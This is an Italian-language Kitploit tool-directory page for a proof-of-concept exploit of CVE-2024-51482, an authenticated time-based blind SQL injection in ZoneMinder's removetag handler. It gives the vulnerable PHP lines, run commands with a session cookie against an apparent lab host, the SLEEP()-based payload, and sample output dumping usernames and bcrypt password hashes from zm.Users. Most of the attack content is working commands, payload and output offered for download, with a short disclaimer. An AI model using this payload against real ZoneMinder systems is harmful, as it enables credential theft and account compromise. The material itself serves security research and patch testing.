Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/c0gnit00/cve-2024-51482
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e Formazione
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 POC, Estrai le credenziali da zm.Users

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-51482 — Iniezione SQL Cieca Basata sul Tempo in ZoneMinder

Un exploit proof-of-concept per CVE-2024-51482, una vulnerabilità di iniezione SQL cieca basata sul tempo e autenticata in ZoneMinder v1.37. ≤ 1.37.64*.

Lo script estrae nomi utente e hash delle password dalla tabella zm.Users utilizzando una ricerca binaria (bisezione) su un oracolo basato su SLEEP().


Vulnerabilità

Il gestore removetag in web/ajax/event.php parametrizza in modo sicuro una query DELETE ma poi interpola direttamente l'input controllato dall'utente in un successivo SELECT:

root@kitploit:~
// Sicuro — parametrizzato
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerabile — interpolazione di stringhe
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId proviene direttamente da $_REQUEST['tid'] senza sanificazione, consentendo l'iniezione tramite il parametro tid.


Requisiti

  • Python 3.8+
  • requests (pip install requests)
  • Un cookie di sessione ZMSESSID valido da un account ZoneMinder connesso

Utilizzo

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

Argomenti:

  • --url — URL base di ZoneMinder (es. http://cctv.htb/zm) (obbligatorio)
  • --zmsessid — valore del cookie ZMSESSID (obbligatorio)
  • --sleep — secondi di pausa per l'inferenza basata sul tempo (default: 3)
  • --timeout — timeout della richiesta in secondi (default: sleep + 3)

Esempi:

root@kitploit:~
# Base
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Più veloce su reti a bassa latenza
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Timeout personalizzato
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

Ottenere il Cookie di Sessione

Accedi a ZoneMinder, apri gli strumenti di sviluppo del browser (F12) -> Applicazione -> Cookie, e copia il valore di ZMSESSID. In alternativa, intercetta qualsiasi richiesta autenticata in Burp Suite e prendilo dall'intestazione Cookie.


Output

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

Come Funziona

  1. Baseline — invia una richiesta pulita tid=1 per misurare il tempo di risposta normale.
  2. Conferma — inietta SLEEP(2) e verifica che la risposta sia ritardata di ≥2 secondi.
  3. Conteggio righe — ricerca binaria su COUNT(*) in zm.Users per trovare quanti account esistono.
  4. Estrazione — per ogni utente, ricerca binaria del valore ASCII di ogni carattere sia in Username che in Password (~7 richieste per carattere contro 95 per scansione lineare).

Struttura del payload:

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 è richiesto perché il DELETE sicuro prima del SELECT vulnerabile genererebbe un errore 500 senza di esso, interrompendo l'esecuzione prima che l'iniezione venga raggiunta.


Riferimenti

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e ricerca educativa.
Ottieni sempre un'autorizzazione scritta esplicita prima di testare qualsiasi sistema che non possiedi.
L'autore non si assume alcuna responsabilità per uso improprio o danni causati da questo software.

Scarica lo strumento